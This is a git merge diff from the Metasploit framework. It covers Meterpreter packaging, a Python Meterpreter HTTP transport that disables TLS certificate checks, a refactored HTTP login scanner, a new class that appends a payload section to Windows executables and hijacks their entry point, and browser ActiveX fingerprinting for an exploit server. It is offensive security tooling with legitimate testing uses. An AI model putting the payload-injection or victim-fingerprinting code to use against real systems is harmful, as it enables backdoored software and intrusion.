Merging upstream/master
commit
17dc2b184d
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
||||||
|
|
||||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||||
# the meterpreter_bins gem.
|
# the meterpreter_bins gem.
|
||||||
data/meterpreter/elevator.*.dll
|
data/meterpreter/*.dll
|
||||||
data/meterpreter/ext_server_espia.*.dll
|
|
||||||
data/meterpreter/ext_server_extapi.*.dll
|
|
||||||
data/meterpreter/ext_server_incognito.*.dll
|
|
||||||
data/meterpreter/ext_server_kiwi.*.dll
|
|
||||||
data/meterpreter/ext_server_lanattacks.*.dll
|
|
||||||
data/meterpreter/ext_server_mimikatz.*.dll
|
|
||||||
data/meterpreter/ext_server_priv.*.dll
|
|
||||||
data/meterpreter/ext_server_stdapi.*.dll
|
|
||||||
data/meterpreter/metsrv.*.dll
|
|
||||||
data/meterpreter/screenshot.*.dll
|
|
||||||
|
|
||||||
# Avoid checking in Meterpreter libs that are built from
|
# Avoid checking in Meterpreter libs that are built from
|
||||||
# private source. If you're interested in this functionality,
|
# private source. If you're interested in this functionality,
|
||||||
|
|
|
@ -9,7 +9,7 @@ PATH
|
||||||
json
|
json
|
||||||
metasploit-concern (~> 0.3.0)
|
metasploit-concern (~> 0.3.0)
|
||||||
metasploit-model (~> 0.29.0)
|
metasploit-model (~> 0.29.0)
|
||||||
meterpreter_bins (= 0.0.16)
|
meterpreter_bins (= 0.0.17)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.9)
|
||||||
|
@ -132,7 +132,7 @@ GEM
|
||||||
pg
|
pg
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
recog (~> 1.0)
|
recog (~> 1.0)
|
||||||
meterpreter_bins (0.0.16)
|
meterpreter_bins (0.0.17)
|
||||||
method_source (0.8.2)
|
method_source (0.8.2)
|
||||||
mime-types (1.25.1)
|
mime-types (1.25.1)
|
||||||
mini_portile (0.6.1)
|
mini_portile (0.6.1)
|
||||||
|
|
|
@ -264,7 +264,7 @@ def tlv_pack(*args):
|
||||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||||
else:
|
else:
|
||||||
value = tlv['value']
|
value = tlv['value']
|
||||||
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
|
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||||
value = value.encode('UTF-8')
|
value = value.encode('UTF-8')
|
||||||
elif not is_bytes(value):
|
elif not is_bytes(value):
|
||||||
value = bytes(value, 'UTF-8')
|
value = bytes(value, 'UTF-8')
|
||||||
|
@ -393,11 +393,17 @@ class PythonMeterpreter(object):
|
||||||
print(msg)
|
print(msg)
|
||||||
|
|
||||||
def driver_init_http(self):
|
def driver_init_http(self):
|
||||||
|
opener_args = []
|
||||||
|
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||||
|
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||||
|
import ssl
|
||||||
|
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||||
|
ssl_ctx.check_hostname=False
|
||||||
|
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||||
|
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||||
if HTTP_PROXY:
|
if HTTP_PROXY:
|
||||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||||
opener = urllib.build_opener(proxy_handler)
|
opener = urllib.build_opener(*opener_args)
|
||||||
else:
|
|
||||||
opener = urllib.build_opener()
|
|
||||||
if HTTP_USER_AGENT:
|
if HTTP_USER_AGENT:
|
||||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||||
urllib.install_opener(opener)
|
urllib.install_opener(opener)
|
||||||
|
|
|
@ -187,13 +187,66 @@ module Metasploit
|
||||||
error_message
|
error_message
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Sends a HTTP request with Rex
|
||||||
|
#
|
||||||
|
# @param [Hash] Native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
|
||||||
|
# @option opts[String] 'host' The remote host
|
||||||
|
# @option opts[Fixnum] 'port' The remote port
|
||||||
|
# @option opts[Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
|
||||||
|
# @option opts[String] 'proxies' The proxies setting
|
||||||
|
# @option opts[Credential] 'credential' A credential object
|
||||||
|
# @option opts['Hash'] 'context' A context
|
||||||
|
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||||
|
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||||
|
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||||
|
def send_request(opts)
|
||||||
|
rhost = opts['host'] || host
|
||||||
|
rport = opts['rport'] || port
|
||||||
|
cli_ssl = opts['ssl'] || ssl
|
||||||
|
cli_ssl_version = opts['ssl_version'] || ssl_version
|
||||||
|
cli_proxies = opts['proxies'] || proxies
|
||||||
|
username = opts['credential'] ? opts['credential'].public : ''
|
||||||
|
password = opts['credential'] ? opts['credential'].private : ''
|
||||||
|
realm = opts['credential'] ? opts['credential'].realm : nil
|
||||||
|
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
|
||||||
|
|
||||||
|
res = nil
|
||||||
|
cli = Rex::Proto::Http::Client.new(
|
||||||
|
rhost,
|
||||||
|
rport,
|
||||||
|
context,
|
||||||
|
cli_ssl,
|
||||||
|
cli_ssl_version,
|
||||||
|
cli_proxies,
|
||||||
|
username,
|
||||||
|
password
|
||||||
|
)
|
||||||
|
configure_http_client(cli)
|
||||||
|
|
||||||
|
if realm
|
||||||
|
cli.set_config('domain' => credential.realm)
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
cli.connect
|
||||||
|
req = cli.request_cgi(opts)
|
||||||
|
res = cli.send_recv(req)
|
||||||
|
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||||
|
raise Rex::ConnectionError, e.message
|
||||||
|
ensure
|
||||||
|
cli.close
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
# Attempt a single login with a single credential against the target.
|
# Attempt a single login with a single credential against the target.
|
||||||
#
|
#
|
||||||
# @param credential [Credential] The credential object to attempt to
|
# @param credential [Credential] The credential object to attempt to
|
||||||
# login with.
|
# login with.
|
||||||
# @return [Result] A Result object indicating success or failure
|
# @return [Result] A Result object indicating success or failure
|
||||||
def attempt_login(credential)
|
def attempt_login(credential)
|
||||||
|
|
||||||
result_opts = {
|
result_opts = {
|
||||||
credential: credential,
|
credential: credential,
|
||||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||||
|
@ -209,32 +262,13 @@ module Metasploit
|
||||||
result_opts[:service_name] = 'http'
|
result_opts[:service_name] = 'http'
|
||||||
end
|
end
|
||||||
|
|
||||||
http_client = Rex::Proto::Http::Client.new(
|
|
||||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
|
||||||
proxies, credential.public, credential.private
|
|
||||||
)
|
|
||||||
|
|
||||||
configure_http_client(http_client)
|
|
||||||
|
|
||||||
if credential.realm
|
|
||||||
http_client.set_config('domain' => credential.realm)
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
http_client.connect
|
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
|
||||||
request = http_client.request_cgi(
|
|
||||||
'uri' => uri,
|
|
||||||
'method' => method
|
|
||||||
)
|
|
||||||
|
|
||||||
response = http_client.send_recv(request)
|
|
||||||
if response && response.code == 200
|
if response && response.code == 200
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
||||||
end
|
end
|
||||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
rescue Rex::ConnectionError => e
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||||
ensure
|
|
||||||
http_client.close
|
|
||||||
end
|
end
|
||||||
|
|
||||||
Result.new(result_opts)
|
Result.new(result_opts)
|
||||||
|
|
|
@ -27,41 +27,6 @@ module Metasploit
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Sends a HTTP request with Rex
|
|
||||||
#
|
|
||||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
|
||||||
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
|
|
||||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
|
||||||
def send_request(opts)
|
|
||||||
res = nil
|
|
||||||
cli = Rex::Proto::Http::Client.new(host, port,
|
|
||||||
{
|
|
||||||
'Msf' => framework,
|
|
||||||
'MsfExploit' => framework_module
|
|
||||||
},
|
|
||||||
ssl,
|
|
||||||
ssl_version,
|
|
||||||
proxies
|
|
||||||
)
|
|
||||||
configure_http_client(cli)
|
|
||||||
begin
|
|
||||||
cli.connect
|
|
||||||
req = cli.request_cgi(opts)
|
|
||||||
res = cli.send_recv(req)
|
|
||||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
|
||||||
# We are trying to mimic the same type of exception rescuing in
|
|
||||||
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
|
|
||||||
# raise Rex::ConnectionError so the #attempt_login can return the error message back
|
|
||||||
# to the login module.
|
|
||||||
raise Rex::ConnectionError, e.message
|
|
||||||
ensure
|
|
||||||
cli.close
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Returns the latest sid from Symantec Web Gateway.
|
# Returns the latest sid from Symantec Web Gateway.
|
||||||
#
|
#
|
||||||
# @returns [String] The PHP Session ID for Symantec Web Gateway login
|
# @returns [String] The PHP Session ID for Symantec Web Gateway login
|
||||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit
|
||||||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||||
|
|
||||||
if untested_payloads_pathname.exist?
|
if untested_payloads_pathname.exist?
|
||||||
tool_path = 'tools/missing-payload-tests.rb'
|
tool_path = 'tools/missing_payload_tests.rb'
|
||||||
|
|
||||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||||
|
|
|
@ -0,0 +1,51 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Msf
|
||||||
|
module Exe
|
||||||
|
|
||||||
|
require 'metasm'
|
||||||
|
require 'msf/core/exe/segment_injector'
|
||||||
|
|
||||||
|
class SegmentAppender < SegmentInjector
|
||||||
|
|
||||||
|
def payload_stub(prefix)
|
||||||
|
# TODO: Implement possibly helpful payload obfuscation
|
||||||
|
asm = "new_entrypoint:\n#{prefix}\n"
|
||||||
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
|
shellcode.encoded + @payload
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_pe
|
||||||
|
# Copy our Template into a new PE
|
||||||
|
pe_orig = Metasm::PE.decode_file(template)
|
||||||
|
pe = pe_orig.mini_copy
|
||||||
|
|
||||||
|
# Copy the headers and exports
|
||||||
|
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||||
|
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||||
|
pe.header.time = pe_orig.header.time
|
||||||
|
|
||||||
|
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||||
|
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||||
|
|
||||||
|
# TODO: Look at supporting DLLs in the future
|
||||||
|
prefix = ''
|
||||||
|
|
||||||
|
# Create a new section
|
||||||
|
s = Metasm::PE::Section.new
|
||||||
|
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
|
||||||
|
s.encoded = payload_stub prefix
|
||||||
|
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||||
|
|
||||||
|
pe.sections << s
|
||||||
|
pe.invalidate_header
|
||||||
|
|
||||||
|
# Change the entrypoint to our new section
|
||||||
|
pe.optheader.entrypoint = 'new_entrypoint'
|
||||||
|
pe.cpu = pe_orig.cpu
|
||||||
|
|
||||||
|
pe.encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -59,20 +59,11 @@ module Exe
|
||||||
EOS
|
EOS
|
||||||
end
|
end
|
||||||
|
|
||||||
def payload_as_asm
|
|
||||||
asm = ''
|
|
||||||
@payload.each_byte do |byte|
|
|
||||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
|
||||||
end
|
|
||||||
return asm
|
|
||||||
end
|
|
||||||
|
|
||||||
def payload_stub(prefix)
|
def payload_stub(prefix)
|
||||||
asm = "hook_entrypoint:\n#{prefix}\n"
|
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||||
asm << create_thread_stub
|
asm << create_thread_stub
|
||||||
asm << payload_as_asm
|
|
||||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
shellcode.encoded
|
shellcode.encoded + @payload
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_pe
|
def generate_pe
|
||||||
|
|
|
@ -49,24 +49,30 @@ module Msf
|
||||||
|
|
||||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||||
REQUIREMENT_KEY_SET = Set.new([
|
REQUIREMENT_KEY_SET = Set.new([
|
||||||
:source, # Either 'script' or 'headers'
|
:source, # Return either 'script' or 'headers'
|
||||||
:ua_name, # Example: MSIE
|
:ua_name, # Example: Returns 'MSIE'
|
||||||
:ua_ver, # Example: 8.0, 9.0
|
:ua_ver, # Example: Returns '8.0', '9.0'
|
||||||
:os_name, # Example: Windows 7, Linux
|
:os_name, # Example: Returns 'Windows 7', 'Linux'
|
||||||
:os_device, # Example: iPad, iPhone, etc
|
:os_device, # Example: Returns 'iPad', 'iPhone', etc
|
||||||
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
|
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||||||
:os_sp, # Example: SP2
|
:os_sp, # Example: Returns 'SP2'
|
||||||
:language, # Example: en-us
|
:language, # Example: Returns 'en-us'
|
||||||
:arch, # Example: x86
|
:arch, # Example: Returns 'x86'
|
||||||
:proxy, # 'true' or 'false'
|
:proxy, # Returns 'true' or 'false'
|
||||||
:silverlight, # 'true' or 'false'
|
:silverlight, # Returns 'true' or 'false'
|
||||||
:office, # Example: "2007", "2010"
|
:office, # Example: Returns "2007", "2010"
|
||||||
:java, # Example: 1.6, 1.6.0.0
|
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||||||
:clsid, # ActiveX clsid. Also requires the :method key
|
:mshtml_build, # mshtml build. Example: Returns "65535"
|
||||||
:method, # ActiveX method. Also requires the :clsid key
|
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||||
:mshtml_build, # mshtml build. Example: "65535"
|
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||||
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
# :activex is a special case.
|
||||||
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
|
# When you set this requirement in your module, this is how it should be:
|
||||||
|
# [{:clsid=>'String', :method=>'String'}]
|
||||||
|
# Where each Hash is a test case
|
||||||
|
# But when BES receives this information, the JavaScript will return this format:
|
||||||
|
# "{CLSID}=>Method=>Boolean;"
|
||||||
|
# Also see: #has_bad_activex?
|
||||||
|
:activex
|
||||||
])
|
])
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
|
@ -105,68 +111,61 @@ module Msf
|
||||||
super
|
super
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the custom 404 URL set by the user
|
# Returns the custom 404 URL set by the user
|
||||||
#
|
#
|
||||||
# @return [String]
|
# @return [String]
|
||||||
#
|
|
||||||
def get_custom_404_url
|
def get_custom_404_url
|
||||||
datastore['Custom404'].to_s
|
datastore['Custom404'].to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Allows a block of code to access BES resources in a thread-safe fashion
|
# Allows a block of code to access BES resources in a thread-safe fashion
|
||||||
#
|
#
|
||||||
# @param block [Proc] Block of code to sync
|
# @param block [Proc] Block of code to sync
|
||||||
#
|
|
||||||
def sync(&block)
|
def sync(&block)
|
||||||
(@mutex ||= Mutex.new).synchronize(&block)
|
(@mutex ||= Mutex.new).synchronize(&block)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||||
#
|
#
|
||||||
# @return [String] URI to the exploit page
|
# @return [String] URI to the exploit page
|
||||||
#
|
|
||||||
def get_module_resource
|
def get_module_resource
|
||||||
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
|
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the absolute URL to the module's resource that points to on_request_exploit
|
# Returns the absolute URL to the module's resource that points to on_request_exploit
|
||||||
#
|
#
|
||||||
# @return [String] absolute URI to the exploit page
|
# @return [String] absolute URI to the exploit page
|
||||||
#
|
|
||||||
def get_module_uri
|
def get_module_uri
|
||||||
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
|
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the current target
|
# Returns the current target
|
||||||
#
|
|
||||||
def get_target
|
def get_target
|
||||||
@target
|
@target
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns a hash of recognizable requirements
|
# Returns a hash of recognizable requirements
|
||||||
#
|
#
|
||||||
# @param reqs [Hash] A hash that contains data for the requirements
|
# @param reqs [Hash] A hash that contains data for the requirements
|
||||||
# @return [Hash] A hash of requirements
|
# @return [Hash] A hash of requirements
|
||||||
#
|
|
||||||
def extract_requirements(reqs)
|
def extract_requirements(reqs)
|
||||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
||||||
# Make sure keys are always symbols
|
# Make sure keys are always symbols
|
||||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Sets the target automatically based on what requirements are met.
|
# Sets the target automatically based on what requirements are met.
|
||||||
# If there's a possible matching target, it will also merge the requirements.
|
# If there's a possible matching target, it will also merge the requirements.
|
||||||
# You can use the get_target() method to retrieve the most current target.
|
# You can use the get_target() method to retrieve the most current target.
|
||||||
#
|
#
|
||||||
# @param profile [Hash] The profile to check
|
# @param profile [Hash] The profile to check
|
||||||
#
|
|
||||||
def try_set_target(profile)
|
def try_set_target(profile)
|
||||||
match_counts = []
|
match_counts = []
|
||||||
target_requirements = {}
|
target_requirements = {}
|
||||||
|
@ -195,30 +194,36 @@ module Msf
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
|
# Returns true if there's a bad ActiveX, otherwise false.
|
||||||
|
# @param ax [String] The raw activex the JavaScript detection will return in this format:
|
||||||
|
# "{CLSID}=>Method=>Boolean;"
|
||||||
|
# @return [Boolean] True if there's a bad ActiveX, otherwise false
|
||||||
|
def has_bad_activex?(ax)
|
||||||
|
ax.split(';').each do |a|
|
||||||
|
bool = a.split('=>')[2]
|
||||||
|
if bool == 'false'
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
# Returns an array of items that do not meet the requirements
|
# Returns an array of items that do not meet the requirements
|
||||||
#
|
#
|
||||||
# @param profile [Hash] The profile to check
|
# @param profile [Hash] The profile to check
|
||||||
# @return [Array] An array of requirements not met
|
# @return [Array] An array of requirements not met
|
||||||
#
|
|
||||||
def get_bad_requirements(profile)
|
def get_bad_requirements(profile)
|
||||||
bad_reqs = []
|
bad_reqs = []
|
||||||
|
|
||||||
# At this point the check is already done.
|
|
||||||
# If :activex is true, that means the clsid + method had a match,
|
|
||||||
# if not, then false.
|
|
||||||
if @requirements[:clsid] and @requirements[:method]
|
|
||||||
@requirements[:activex] = 'true' # Script passes boolean as string
|
|
||||||
end
|
|
||||||
|
|
||||||
@requirements.each do |k, v|
|
@requirements.each do |k, v|
|
||||||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
|
||||||
next if k == :clsid or k == :method
|
|
||||||
|
|
||||||
expected = k != :vuln_test ? v : 'true'
|
expected = k != :vuln_test ? v : 'true'
|
||||||
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||||
|
|
||||||
if k == :vuln_test
|
if k == :activex
|
||||||
|
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||||
|
elsif k == :vuln_test
|
||||||
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
||||||
elsif v.is_a? Regexp
|
elsif v.is_a? Regexp
|
||||||
bad_reqs << k if profile[k.to_sym] !~ v
|
bad_reqs << k if profile[k.to_sym] !~ v
|
||||||
|
@ -232,7 +237,6 @@ module Msf
|
||||||
bad_reqs
|
bad_reqs
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||||
# 'cookie_name' =>
|
# 'cookie_name' =>
|
||||||
# {
|
# {
|
||||||
|
@ -253,7 +257,7 @@ module Msf
|
||||||
#
|
#
|
||||||
# If the source is 'script', the profile might have even more information about plugins:
|
# If the source is 'script', the profile might have even more information about plugins:
|
||||||
# 'office' : The version of Microsoft Office (IE only)
|
# 'office' : The version of Microsoft Office (IE only)
|
||||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
|
||||||
# 'java' : The Java version
|
# 'java' : The Java version
|
||||||
# 'mshtml_build' : The MSHTML build version
|
# 'mshtml_build' : The MSHTML build version
|
||||||
# 'flash' : The Flash version
|
# 'flash' : The Flash version
|
||||||
|
@ -261,45 +265,41 @@ module Msf
|
||||||
#
|
#
|
||||||
# @param tag [String] Either a cookie or IP + User-Agent
|
# @param tag [String] Either a cookie or IP + User-Agent
|
||||||
# @return [Hash] The profile found. If not found, returns nil
|
# @return [Hash] The profile found. If not found, returns nil
|
||||||
#
|
|
||||||
def get_profile(tag)
|
def get_profile(tag)
|
||||||
sync do
|
sync do
|
||||||
return @target_profiles[tag]
|
return @target_profiles[tag]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Updates information for a specific profile
|
# Updates information for a specific profile
|
||||||
#
|
#
|
||||||
# @param target_profile [Hash] The profile to update
|
# @param target_profile [Hash] The profile to update
|
||||||
# @param key [Symbol] The symbol to use for the hash
|
# @param key [Symbol] The symbol to use for the hash
|
||||||
# @param value [String] The value to assign
|
# @param value [String] The value to assign
|
||||||
#
|
|
||||||
def update_profile(target_profile, key, value)
|
def update_profile(target_profile, key, value)
|
||||||
sync do
|
sync do
|
||||||
target_profile[key] = value
|
target_profile[key] = value
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Initializes a profile, if it did not previously exist
|
# Initializes a profile, if it did not previously exist
|
||||||
#
|
#
|
||||||
# @param tag [String] A unique string as a way to ID the profile
|
# @param tag [String] A unique string as a way to ID the profile
|
||||||
#
|
|
||||||
def init_profile(tag)
|
def init_profile(tag)
|
||||||
sync do
|
sync do
|
||||||
@target_profiles[tag] ||= {}
|
@target_profiles[tag] ||= {}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Retrieves a tag.
|
# Retrieves a tag.
|
||||||
# First it obtains the tag from the browser's "Cookie" header.
|
# First it obtains the tag from the browser's "Cookie" header.
|
||||||
# If the header is empty (possible if the browser has cookies disabled),
|
# If the header is empty (possible if the browser has cookies disabled),
|
||||||
# then it will return a tag based on IP + the user-agent.
|
# then it will return a tag based on IP + the user-agent.
|
||||||
#
|
#
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
#
|
|
||||||
def retrieve_tag(cli, request)
|
def retrieve_tag(cli, request)
|
||||||
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
|
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
|
||||||
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
|
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
|
||||||
|
@ -317,13 +317,12 @@ module Msf
|
||||||
tag
|
tag
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Registers target information to @target_profiles
|
# Registers target information to @target_profiles
|
||||||
#
|
#
|
||||||
# @param source [Symbol] Either :script, or :headers
|
# @param source [Symbol] Either :script, or :headers
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
#
|
|
||||||
def process_browser_info(source, cli, request)
|
def process_browser_info(source, cli, request)
|
||||||
tag = retrieve_tag(cli, request)
|
tag = retrieve_tag(cli, request)
|
||||||
init_profile(tag)
|
init_profile(tag)
|
||||||
|
@ -361,23 +360,21 @@ module Msf
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Checks if the target is running a proxy
|
# Checks if the target is running a proxy
|
||||||
#
|
#
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
# @return [Boolean] True if found, otherwise false
|
# @return [Boolean] True if found, otherwise false
|
||||||
#
|
|
||||||
def has_proxy?(request)
|
def has_proxy?(request)
|
||||||
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||||
!proxy_header_set.empty?
|
!proxy_header_set.empty?
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the code for client-side detection
|
# Returns the code for client-side detection
|
||||||
#
|
#
|
||||||
# @param user_agent [String] The user-agent of the browser
|
# @param user_agent [String] The user-agent of the browser
|
||||||
# @return [String] Returns the HTML for detection
|
# @return [String] Returns the HTML for detection
|
||||||
#
|
|
||||||
def get_detection_html(user_agent)
|
def get_detection_html(user_agent)
|
||||||
ua_info = fingerprint_user_agent(user_agent)
|
ua_info = fingerprint_user_agent(user_agent)
|
||||||
os = ua_info[:os_name]
|
os = ua_info[:os_name]
|
||||||
|
@ -418,11 +415,20 @@ module Msf
|
||||||
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
||||||
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
||||||
<%
|
<%
|
||||||
clsid = @requirements[:clsid]
|
activex = @requirements[:activex]
|
||||||
method = @requirements[:method]
|
if activex
|
||||||
if clsid and method
|
activex.each do \|a\|
|
||||||
|
clsid = a[:clsid]
|
||||||
|
method = a[:method]
|
||||||
%>
|
%>
|
||||||
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||||
|
d['activex'] = "";
|
||||||
|
if (ax == true) {
|
||||||
|
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
|
||||||
|
} else {
|
||||||
|
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
|
||||||
|
}
|
||||||
|
<% end %>
|
||||||
<% end %>
|
<% end %>
|
||||||
